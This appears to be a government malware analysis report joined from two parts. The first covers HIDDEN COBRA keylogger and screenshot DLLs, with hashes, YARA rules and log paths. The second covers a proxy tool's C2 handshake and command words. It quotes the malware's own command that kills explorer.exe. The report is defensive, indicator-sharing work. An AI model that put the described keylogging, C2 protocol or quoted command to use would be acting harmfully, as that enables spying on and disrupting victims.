This file is a 64-bit dynamic link library (DLL). This malware uses 3 files that will be used to store the key logs, screen shots, and log intervals. The location of these logs can be found in C:windowstempTMP0389A.tmp.

–Begin Log Files–
1. Keylog: %temp%GoogleChromechromeupdate_pk
2. Screenshots: %temp%GoogleChromechromeupdate_ps_<YYYMMDD>_<HHMMSS>_<sss>_<ThreadID>
3. Log intervals: C:ProgramData2.dat
–End Log Files–

The malware creates 3 threads to populate the log files listed above. Each one will continue to execute until a global kill variable is set to 1. This variable can only be set to 1 by calling an export called “Process” from within this DLL. When the export is called, the threads will return and the program will exit.

32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8

Tags

HIDDEN-COBRAbackdoorkeyloggerreconnaissancescreen-capturespywaretrojan

Details

Name
PSLogger .dll

Size
138243 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
acd15f4393e96fe5eb920727dc083aed

SHA1
c92529097cad8996f3a3c8eb34b56273c29bdce5

SHA256
32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8

SHA512
82a946c2d0c9fffdd23d8e6b34028ac1b0368d4fd78302268aa4d954bead8a82ea15873a28d69946dceaf80fcafd0c52aeb59f47df5a029f77072fa1bc8e0fae

ssdeep
3072:t+N02CVLOJdCPQhVNRTzcb/YrgHdnG6ioaa5IR:sO2qO3CPkRTz8YrgHdGBoa1

Entropy
6.096652

Antivirus

Ahnlab
Trojan/Win64.Agent

Antiy
Trojan[Spy]/Win64.Agent

Avira
TR/Spy.Agent.ftmjo

BitDefender
Trojan.GenericKD.40337042

Comodo
Malware

Cyren
W64/Trojan.WFEO-4014

ESET
a variant of Win64/Spy.Agent.AP trojan

Emsisoft
Trojan.GenericKD.40337042 (B)

Ikarus
Trojan-Spy.Win64.Agent

K7
Spyware ( 00538f7c1 )

Lavasoft
Trojan.GenericKD.40337042

Microsoft Security Essentials
Trojan:Win32/Tiggre!plock

NANOAV
Trojan.Win64.Mlw.fgbtfv

Symantec
Trojan.Crobaruko

Systweak
malware.agent

Vir.IT eXplorer
Backdoor.Win32.Lazarus.BGM

VirusBlokAda
TrojanSpy.Win64.Agent

Zillya!
Trojan.Agent.Win64.2215

YARA Rules

rule CISA_3P_10301706_01 : HiddenCobra ECCENTRICBANDWAGON backdoor keylogger reconnaissance screencapture spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r1.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Keylogger Reconnaissance Screen-Capture Spyware Trojan”
       Family = “ECCENTRICBANDWAGON”
       Description = “Detects strings in ECCENTRICBANDWAGON proxy tool”
       MD5_1 = “d45931632ed9e11476325189ccb6b530”
       SHA256_1 = “efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e”
       MD5_2 = “acd15f4393e96fe5eb920727dc083aed”
       SHA256_2 = “32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8”
       MD5_3 = “34404a3fb9804977c6ab86cb991fb130”
       SHA256_3 = “c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec”
       MD5_4 = “3122b0130f5135b6f76fca99609d5cbe”
       SHA256_4 = “9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e”
   strings:
       $sn1 = { FB 19 9D 57 [1-6] 9A D1 D6 D1 [1-6] 42 9E D8 FD }
       $sn2 = { 4F 03 43 83 [1-6] 48 E0 1A 2E [1-6] 3B FD FD FD }
       $sn3 = { 68 56 68 9A [1-12] 4D E1 1F 25 [1-12] 3F 38 54 0F [1-12] 73 30 62 A1 [1-12] DB 39 BD 56 }
       $sn4 = “%s\chromeupdater_ps_%04d%02d%02d_%02d%02d%02d_%03d_%d” wide ascii nocase
       $sn5 = “c:\windows\temp\TMP0389A.tmp” wide ascii nocase
   condition:
       any of them
}

ssdeep Matches

100
efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e

PE Metadata

Compile Date
2018-04-27 22:53:06-04:00

Import Hash
f0faa229b086ea5053b4268855f0c8ba

PE Sections

MD5
Name
Raw Size
Entropy

09745305cbad67b17346f0f6dba1e700
header
1024
2.729080

5c2242b56a31d64b6ce82671d97a82a4
.text
92160
6.415763

0d022eff24bc601d97d2088b4179bd18
.rdata
31232
4.934652

578e5078ccb878f1aa9e309b4cfc2be5
.data
6144
2.115729

09924946b47ef078f7e9af4f4fcb59dc
.pdata
5632
4.803615

7ead0113095bc6cb3b2d82f05fda25f3
.rsrc
512
5.115767

7937397e0a31cdc87f5b79074825e18e
.reloc
1536
2.931043

Description

This file is a 64-bit DLL. This sample and “efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e” are nearly identical with the only difference being that this sample has 3 extra NULL bytes at the end of the file.

This malware uses 3 files that will be used to store the key logs, screen shots, and log intervals. The location of these logs can be found in C:windowstempTMP0389A.tmp.

–Begin Log Files–
1. Keylog: %temp%GoogleChromechromeupdate_pk
2. Screenshots: %temp%GoogleChromechromeupdate_ps_<YYYMMDD>_<HHMMSS>_<sss>_<ThreadID>
3. Log intervals: C:ProgramData2.dat
–End Log Files–

The malware creates 3 threads to populate the log files listed above. Each one will continue to execute until a global kill variable is set to 1. This variable can only be set to 1 by calling an export called “Process” from within this DLL. When the export is called, the threads will return and the program will exit.

c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec

Tags

HIDDEN-COBRAbackdoorkeyloggerreconnaissancescreen-capturetrojan

Details

Name
PSLogger .dll

Size
175104 bytes

Type
PE32 executable (GUI) Intel 80386, for MS Windows

MD5
34404a3fb9804977c6ab86cb991fb130

SHA1
b345e6fae155bfaf79c67b38cf488bb17d5be56d

SHA256
c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec

SHA512
01a8c8b66f6895387c6a347d02d00ea09619888f2727096a19d4c4ff50e6bf72367cbd41f09e89a57f7f3862efbb2db8177dbec086c4ce2aca3518d124575033

ssdeep
3072:AeO51bvWZElWhKQGhvNdx2GYZj+utNfBtZl7mGwwZWyNGVxBqu:A77beClWhKQG36UutNfB077Bqu

Entropy
6.491987

Antivirus

Ahnlab
Malware/Gen.Generic

Antiy
GrayWare/Win32.Presenoker

BitDefender
Trojan.GenericKD.43188225

Cyren
W32/Trojan.MZDN-2436

ESET
a variant of Generik.HKZTFCG trojan

Emsisoft
Trojan.GenericKD.43188225 (B)

Ikarus
Trojan.SuspectCRC

K7
Trojan ( 005506c81 )

Lavasoft
Trojan.GenericKD.43188225

NANOAV
Trojan.Win32.KeyLogger.fnwztc

NetGate
Malware.Generic

Symantec
Hacktool.Keylogger

Vir.IT eXplorer
Backdoor.Win32.Lazarus.BGM

VirusBlokAda
TrojanSpy.Keylogger

Zillya!
Trojan.Keylogger.Win32.9

YARA Rules

rule CISA_3P_10301706_01 : HiddenCobra ECCENTRICBANDWAGON backdoor keylogger reconnaissance screencapture spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r1.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Keylogger Reconnaissance Screen-Capture Spyware Trojan”
       Family = “ECCENTRICBANDWAGON”
       Description = “Detects strings in ECCENTRICBANDWAGON proxy tool”
       MD5_1 = “d45931632ed9e11476325189ccb6b530”
       SHA256_1 = “efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e”
       MD5_2 = “acd15f4393e96fe5eb920727dc083aed”
       SHA256_2 = “32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8”
       MD5_3 = “34404a3fb9804977c6ab86cb991fb130”
       SHA256_3 = “c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec”
       MD5_4 = “3122b0130f5135b6f76fca99609d5cbe”
       SHA256_4 = “9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e”
   strings:
       $sn1 = { FB 19 9D 57 [1-6] 9A D1 D6 D1 [1-6] 42 9E D8 FD }
       $sn2 = { 4F 03 43 83 [1-6] 48 E0 1A 2E [1-6] 3B FD FD FD }
       $sn3 = { 68 56 68 9A [1-12] 4D E1 1F 25 [1-12] 3F 38 54 0F [1-12] 73 30 62 A1 [1-12] DB 39 BD 56 }
       $sn4 = “%s\chromeupdater_ps_%04d%02d%02d_%02d%02d%02d_%03d_%d” wide ascii nocase
       $sn5 = “c:\windows\temp\TMP0389A.tmp” wide ascii nocase
   condition:
       any of them
}

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2018-11-14 09:44:18-05:00

Import Hash
a8623b2da60776df129ebe0430d48d85

PE Sections

MD5
Name
Raw Size
Entropy

37ecb293f01edad89fcee1ce48e4cde3
header
1024
2.949326

36fd9d805b7c591ab71eda922662e30a
.text
124928
6.650973

1d3132305f18961b86c1fda0a2f4eea9
.rdata
38912
5.166660

9e17ac76df46fd523a11378398cf026f
.data
3072
2.367308

bbee55723eaad8c7f73a5fa9bf2159d4
.gfids
512
2.275750

264e317304c9b21a342169b33c0a791a
.rsrc
512
4.717679

a1ab3dce319437b49198eeff43f4d847
.reloc
6144
6.422499

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Description

This sample is nearly identical to “efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e” with the exception that this sample will RC4 encrypt some of its strings and use different log files.

The following strings are RC4 encrypted with the key “key”:

–Begin RC4 encrypted strings–
Downloads
c:windowstempTMP0389A.tmp
c:windowstemptmp1105.tmp
[CLIPBOARD]
[/CLIPBOARD]
–End RC4 encrypted strings–

This malware uses 3 files that will be used to store the key logs, screen shots, and log intervals. The location of these logs can be found in C:windowstempTMP0389A.tmp.

–Begin log files–
1. Keylog: %temp%Downloadstmp_<USERNAME>
2. Screenshots: %temp%Downloadstmp_<USERNAME>_<MMDD>_<HHMMSS>
3. Log intervals: c:windowstemptmp1105.tmp
–End log files–

The malware creates 3 threads to populate the log files listed above. Each one will continue to execute until a global kill variable is set to 1. This variable can only be set to 1 by calling an export called “Process” from within this DLL. When the export is called, the threads will return and the program will exit.

9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e

Tags

HIDDEN-COBRAkeyloggerreconnaissancescreen-capturespywaretrojan

Details

Name
PSLogger .dll

Size
210944 bytes

Type
PE32+ executable (DLL) (GUI) x86-64, for MS Windows

MD5
3122b0130f5135b6f76fca99609d5cbe

SHA1
ce6bc34b887d60f6d416a05d5346504c54cff030

SHA256
9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e

SHA512
788c666efeb664c7691a958d15eac2b80d3d17241f5e7c131e5dec2f761bcb70950018c1f8a85fd6600eff0d0fab0ce31fbcd364d16b6ef8b54deb5e9c215f08

ssdeep
3072:6usGRlrmZ8LP/LqdmpWOY9Y9EbyBFWnqD5W3P4Tp31oItN7W0rVu6eRDP/fJkkj7:67GTjOdCWOKXbyCnCEQTp2CE0/gh2W

Entropy
6.246368

Antivirus

Ahnlab
Trojan/Win64.Redbanc

Antiy
Trojan[Banker]/Win32.Alreay

Avira
TR/Spy.Agent.kdvkr

BitDefender
Trojan.GenericKD.41368668

ESET
a variant of Win64/Spy.Agent.BG trojan

Emsisoft
Trojan.GenericKD.41368668 (B)

Ikarus
Trojan-Spy.Keylogger.Lazarus

K7
Spyware ( 005501401 )

Lavasoft
Trojan.GenericKD.41368668

McAfee
RDN/Generic PWS.tf

NANOAV
Trojan.Win64.Alreay.hoqvyj

Quick Heal
Trojan.Alreay

Sophos
Troj/Alreay-A

TACHYON
Unknown-Type/Alreay.210944

Zillya!
Trojan.Alreay.Win32.91

YARA Rules

rule CISA_3P_10301706_01 : HiddenCobra ECCENTRICBANDWAGON backdoor keylogger reconnaissance screencapture spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r1.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Keylogger Reconnaissance Screen-Capture Spyware Trojan”
       Family = “ECCENTRICBANDWAGON”
       Description = “Detects strings in ECCENTRICBANDWAGON proxy tool”
       MD5_1 = “d45931632ed9e11476325189ccb6b530”
       SHA256_1 = “efd470cfa90b918e5d558e5c8c3821343af06eedfd484dfeb20c4605f9bdc30e”
       MD5_2 = “acd15f4393e96fe5eb920727dc083aed”
       SHA256_2 = “32a4de070ca005d35a88503717157b0dc3f2e8da76ffd618fca6563aec9c81f8”
       MD5_3 = “34404a3fb9804977c6ab86cb991fb130”
       SHA256_3 = “c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec”
       MD5_4 = “3122b0130f5135b6f76fca99609d5cbe”
       SHA256_4 = “9ea5aa00e0a738b74066c61b1d35331170a9e0a84df1cc6cef58fd46a8ec5a2e”
   strings:
       $sn1 = { FB 19 9D 57 [1-6] 9A D1 D6 D1 [1-6] 42 9E D8 FD }
       $sn2 = { 4F 03 43 83 [1-6] 48 E0 1A 2E [1-6] 3B FD FD FD }
       $sn3 = { 68 56 68 9A [1-12] 4D E1 1F 25 [1-12] 3F 38 54 0F [1-12] 73 30 62 A1 [1-12] DB 39 BD 56 }
       $sn4 = “%s\chromeupdater_ps_%04d%02d%02d_%02d%02d%02d_%03d_%d” wide ascii nocase
       $sn5 = “c:\windows\temp\TMP0389A.tmp” wide ascii nocase
   condition:
       any of them
}

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2019-04-08 07:26:25-04:00

Import Hash
b113cba285f3c4ed179422f54692f4e3

PE Sections

MD5
Name
Raw Size
Entropy

fd81e5f6ab156dcdba2e2b92826ca192
header
1024
3.015020

88ecd4fac45e45b294de415ca514a93c
.text
137728
6.457660

af0dab081123c1ad835c86f134138e7f
.rdata
57344
5.118317

e7c661026f7ecf701bbcbdd15ff2b825
.data
3584
2.244033

4b406030a4a3dcaea845c14124010691
.pdata
8192
5.172064

f623a10ca467aac404ec6fda8e4810d4
.gfids
512
2.000422

3695113543a23c53791caa70b4bd8874
.rsrc
512
4.724729

f9f31f1689409c8834b7f0c28d948a65
.reloc
2048
4.924204

Description

This sample is nearly identical to “c6930e298bba86c01d0fe2c8262c46b4fce97c6c5037a193904cfc634246fbec” with the exception that it RC4 encrypts some of its strings, uses different log files, and has a simple cleanup routine.

The following strings are RC4 encrypted with the key “key”:

–Begin RC4 encrypted strings–
TrendMicroUpdate
c:windowstempTMP0389A.tmp
c:windowstemptmp1105.tmp
[CLIPBOARD]
[/CLIPBOARD]
–End RC4 encrypted strings–

This malware uses 3 files that will be used to store the key logs, screen shots, and log intervals. The location of these logs can be found in C:windowstempTMP0389A.tmp.

–Begin log files–
1. Keylog: %temp%TrendMicroUpdateupdate_<USERNAME>
2. Screenshots: %temp%TrendMicroUpdateupdate_<MMDD>_<HHMMSSl>
3. Log Intervals: c:windowstemptmp1105.tmp
–End log files–

This malware creates 3 threads to populate the log files listed above. Each one will continue to execute until the file C:windowstemptmp0207 contains a zero in a particular location. At this point, the program will signal an exit to the other threads and begin a cleanup thread. The cleanup thread will delete C:windowstemptmp0207 and then call WinExec(cmd.exe /c taskkill /f /im explorer.exe). This will crash explorer.exe, which could potentially alert a user who was using the device at the time.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

Maintain up-to-date antivirus signatures and engines.
Keep operating system patches up-to-date.
Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
Enforce a strong password policy and implement regular password changes.
Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
Disable unnecessary services on agency workstations and servers.
Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
Scan all software downloaded from the Internet prior to executing.
Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

1-888-282-0870

CISA Service Desk (UNCLASS)

CISA SIPR (SIPRNET)

CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://www.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

Web: https://malware.us-cert.gov

E-Mail: submit@malware.us-cert.gov

FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

This product is provided subject to this Notification and this Privacy & Use policy.

Original release date: August 26, 2020Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified Remote Access Tool (RAT) malware variants used by the North Korean government. This malware variant has been identified as VIVACIOUSGIFT. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation. DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This report looks at the malware samples known as VIVACIOUSGIFT that is used by advanced persistent threat (APT) cyber actors as a network proxy tool. The proxy requires an encrypted command line argument for its source and destination Internet Protocol (IP) addresses and has command and control (C2) functionality to retrieve and set the destination IP. The command line argument can also contain a source proxy IP, port, and password. The source proxy is used as an additional proxy when communicating with the source IP. The library libcurl version 7.94.1 is used when communicating with the source proxy.

For a downloadable copy of IOCs, see [STIX file].

Submitted Files (6)

70b494b0a8fdf054926829dcb3235fc7bd0346b6a19faf2a57891c71043b3b38 (70b494b0a8fdf054926829dcb3235f…)

8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1 (8cad61422d032119219f465331308c…)

9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852 (9a776b895e93926e2a758c09e341ac…)

a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118 (a917c1cc198cf36c0f2f6c24652e5c…)

aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83 (aca598e2c619424077ef8043cb4284…)

f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de (f3ca8f15ca582dd486bd78fd57c2f4…)

Findings

a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118

Tags

HIDDEN-COBRAproxytrojan

Details

Name
a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118

Size
408576 bytes

Type
PE32 executable (GUI) Intel 80386, for MS Windows

MD5
40e698f961eb796728a57ddf81f52b9a

SHA1
50b4f9a8fa6803f0aabb6fd9374244af40c2ba4c

SHA256
a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118

SHA512
2ee35d902f2a4022488bdc75cf7531f75de7e8bb4ca8645a9448f33051e835f0cea62e0157ac292187cd9406901f80570b8e17be52fee4a23f3c1aaa1a171cda

ssdeep
12288:E30MB7N+man4IrT0qhPyRg8o//ND6lAMYqcl:i0YNwrT0qhPFtHN2lLYq

Entropy
6.651902

Antivirus

Ahnlab
Trojan/Win32.Banker

Antiy
Trojan[Banker]/Win32.Agent

Avira
TR/SpyBanker.Agent.AM

BitDefender
Trojan.GenericKD.4446633

ClamAV
Win.Trojan.Agent-6971031-0

Comodo
TrojWare.Win32.Ransom.Teerac.C

Cyren
W32/Banker.FTBC-3937

ESET
Win32/Spy.Banker.ADRO trojan

Emsisoft
Trojan.GenericKD.4446633 (B)

Ikarus
Trojan-Spy.Banker

K7
Riskware ( 0040eff71 )

Lavasoft
Trojan.GenericKD.4446633

McAfee
Generic.abb

Microsoft Security Essentials
TrojanSpy:Win32/Banker

NANOAV
Trojan.Win32.Agent.enikaf

Quick Heal
TrojanSpy.Banker

Sophos
Mal/Generic-L

Symantec
Trojan Horse

TrendMicro
BKDR_KL.89AB2FB2

TrendMicro House Call
BKDR_KL.89AB2FB2

Vir.IT eXplorer
Trojan.Win32.Banker.FUW

VirusBlokAda
TrojanBanker.Agent

Zillya!
Trojan.Agent.Win32.763316

YARA Rules

rule CISA_3P_10301706_02 : HiddenCobra TWOPENCE backdoor dropper proxy spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r2.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Dropper Proxy Spyware Trojan”
       Family = “TWOPENCE”
       Description = “Detects strings in TWOPENCE proxy tool”
       MD5_1 = “40e698f961eb796728a57ddf81f52b9a”
       SHA256_1 = “a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118”
       MD5_2 = “dfd09e91b7f86a984f8687ed6033af9d”
       SHA256_2 = “aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83”
       MD5_3 = “bda82f0d9e2cb7996d2eefdd1e5b41c4”
       SHA256_3 = “f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de”
       MD5_4 = “97aaf130cfa251e5207ea74b2558293d”
       SHA256_4 = “9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852”
       MD5_5 = “889e320cf66520485e1a0475107d7419”
       SHA256_5 = “8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1”
   strings:
       $cmd1 = “ssylka”
       $cmd2 = “ustanavlivat”
       $cmd3 = “poluchit”
       $cmd4 = “pereslat”
       $cmd5 = “derzhat”
       $cmd6 = “vykhodit”
       $cmd7 = “Nachalo”
       $cmd8 = “kliyent2podklyuchit”
       $frmt1 = “Host: %s%s%s:%hu”
       $frmt2 = “%s%s%s%s%s%s%s%s%s%s”
   condition:
       (4 of ($cmd*)) and (1 of ($frmt*))
}

ssdeep Matches

No matches found.

PE Metadata

Compile Date
2016-07-08 19:11:36-04:00

Import Hash
3415ed7e09a44243bcabe4422aeef7dc

PE Sections

MD5
Name
Raw Size
Entropy

0e135280ecde05507a86c5681ee38986
header
1024
2.480337

dfcc176fede07939cc4deb950858b6ce
.text
333824
6.579572

d72f6b9398a7f267dfe5f1bd44778d62
.rdata
51712
6.391152

1e41f003bafe97cb5bfb59b3ad7d7531
.data
6656
3.459925

a8d51b81460671e8fb3df438f0f7fc28
.reloc
15360
5.531184

Packers/Compilers/Cryptors

Microsoft Visual C++ ?.?

Description

This file is a 32-bit Windows executable. The proxy requires a single command line argument. The argument can consist of a maximum of four encrypted strings delineated with the pipe character (“|”). When the four strings are parsed and decrypted, the strings represent the following: source IP and port, destination IP and port, source proxy IP and port, and source proxy password. The IP and port strings have the following format: <IP:port>. If the destination IP is missing from the command line argument, the proxy will wait to get the destination IP from the actor. The source proxy IP and port, as well as the source proxy password, are used as an additional proxy when communicating with the source IP. When communicating with the source proxy, the proxy will use libcurl with the options CURLOPT_HTTPPROXYTUNNEL and CURLOPT_NOBODY.

The following is an example of an encrypted command line argument that is missing the destination IP:

–Begin encrypted command line argument–
<encrypted_string>| |<encrypted_string>|<encrypted_string>
–End encrypted command line argument–

–Begin decrypted command line argument–
<IP>:<port>| |<IP>:<port>|<password>
–End decrypted command line argument–

The encrypted strings inside the command line argument can be individually decrypted with the Python script provided in Figure 1.

Below is the flow of events that happens when the proxy starts and is issued the commands “ustanavlivat” and “pereslat”. In the following example, the command line argument does not contain a source proxy. The command line argument can contain a source proxy IP, port, and password. If they exist, the proxy will route all traffic to the source IP through the source proxy. When communicating with the source proxy, the proxy uses the library libcurl with options CURLOPT_HTTPPROXYTUNNEL and CURLOPT_NOBODY. The data that is sent and received is encrypted using a custom encryption routine.

First, it connects to source IP and sends initialization message “Nachalo”. It sends a custom hash of “Dazdrav$958478Zohsf9q@%5555ahshdnZXniohs”. In return it receives two bytes of data. It sends the length (4 bytes) of string “kliyent2podklyuchit” and then sends the string “kliyent2podklyuchit”. It sends the length (4 bytes) of string “Nachalo” and then sends the “Nachalo”.

Next, it receives C2 command “ustanavlivat” to set the destination IP address. It receives and decrypts the length of the string “ustanavlivat” and then receives and decrypts the string “ustanavlivat”.

Then, it receives C2 command “pereslat” to start the proxy functionality. It receives and decrypts the length of the string “pereslat” and then receives and decrypts the string “pereslat”.

Next, it connects to source IP and sends start proxy functionality message “ssylka”. It sends a custom hash of “Dazdrav$958478Zohsf9q@%5555ahshdnZXniohs”. In response it receives data. Then it sends the length (4 bytes) of string “kliyent2podklyuchit” and then sends the string “kliyent2podklyuchit”. Then it sends the length (4 bytes) of string “ssylka” and then sends the string “ssylka”.

Finally, it connects to destination IP and starts proxy functionality between source and destination IP.

The proxy uses a custom encryption routine to encode the data sent. The Python script provided in Figure 2 can decode the data.

Screenshots

Figure 1 – The Python script to individually decrypt the encrypted strings inside the command line argument.

Figure 2 – The Python script to decode the encoded data sent by the proxy custom encryption routine.

aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83

Tags

HIDDEN-COBRAdropperproxyspywaretrojan

Details

Name
aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83

Size
232960 bytes

Type
PE32 executable (GUI) Intel 80386, for MS Windows

MD5
dfd09e91b7f86a984f8687ed6033af9d

SHA1
b8fe7884d2dc4983fb0fbca192694ce2f4685e23

SHA256
aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83

SHA512
641dd95c101ae7566defb1a24279badb8c7aa94331442e0f470866b6a1e44c8790a71e83cc1cb188d7530c08bf0e5d227d35caa9a2cf7e54d2f7319381af2d84

ssdeep
3072:XU5r72JE+FYWR0jZLShk4cPT/QzSaQ0sCFneZTznIhZJJcrJ1GHeV9:XU5uJpYnZL05STQNddFnAnGZIrV

Entropy
6.524225

Antivirus

Ahnlab
Trojan/Win32.Alreay

Antiy
Trojan[Banker]/Win32.Alreay

ClamAV
Win.Trojan.Agent-6971031-0

Comodo
TrojWare.Win32.TrojanDropper.Agent.PRQ

Cyren
W32/Alreay.SQQX-6406

ESET
a variant of Win32/Spy.Banker.ADRO trojan

K7
Spyware ( 005198041 )

McAfee
GenericRXFQ-MX!DFD09E91B7F8

Microsoft Security Essentials
TrojanSpy:Win32/Banker!dha

Symantec
Trojan Horse

TrendMicro
TSPY_BA.C25E7684

TrendMicro House Call
TSPY_BA.C25E7684

Zillya!
Trojan.Alreay.Win32.42

YARA Rules

rule CISA_3P_10301706_02 : HiddenCobra TWOPENCE backdoor dropper proxy spyware trojan
{
   meta:
       Author = “CISA Trusted Third Party”
       Incident = “10301706.r2.v1”
       Date = “2020-08-11”
       Actor = “Hidden Cobra”
       Category = “Backdoor Dropper Proxy Spyware Trojan”
       Family = “TWOPENCE”
       Description = “Detects strings in TWOPENCE proxy tool”
       MD5_1 = “40e698f961eb796728a57ddf81f52b9a”
       SHA256_1 = “a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118”
       MD5_2 = “dfd09e91b7f86a984f8687ed6033af9d”
       SHA256_2 = “aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83”
       MD5_3 = “bda82f0d9e2cb7996d2eefdd1e5b41c4”
       SHA256_3 = “f3ca8f15ca582dd486bd78fd57c2f4d7b958163542561606bebd250c827022de”
       MD5_4 = “97aaf130cfa251e5207ea74b2558293d”
       SHA256_4 = “9a776b895e93926e2a758c09e341accb9333edc1243d216a5e53f47c6043c852”
       MD5_5 = “889e320cf66520485e1a0475107d7419”
       SHA256_5 = “8cad61422d032119219f465331308c5a61e21c9a3a431b88e1f8b25129b7e2a1”
   strings:
       $cmd1 = “ssylka”
       $cmd2 = “ustanavlivat”
       $cmd3 = “poluchit”
       $cmd4 = “pereslat”
       $cmd5 = “derzhat”
       $cmd6 = “vykhodit”
       $cmd7 = “Nachalo”
       $cmd8 = “kliyent2podklyuchit”
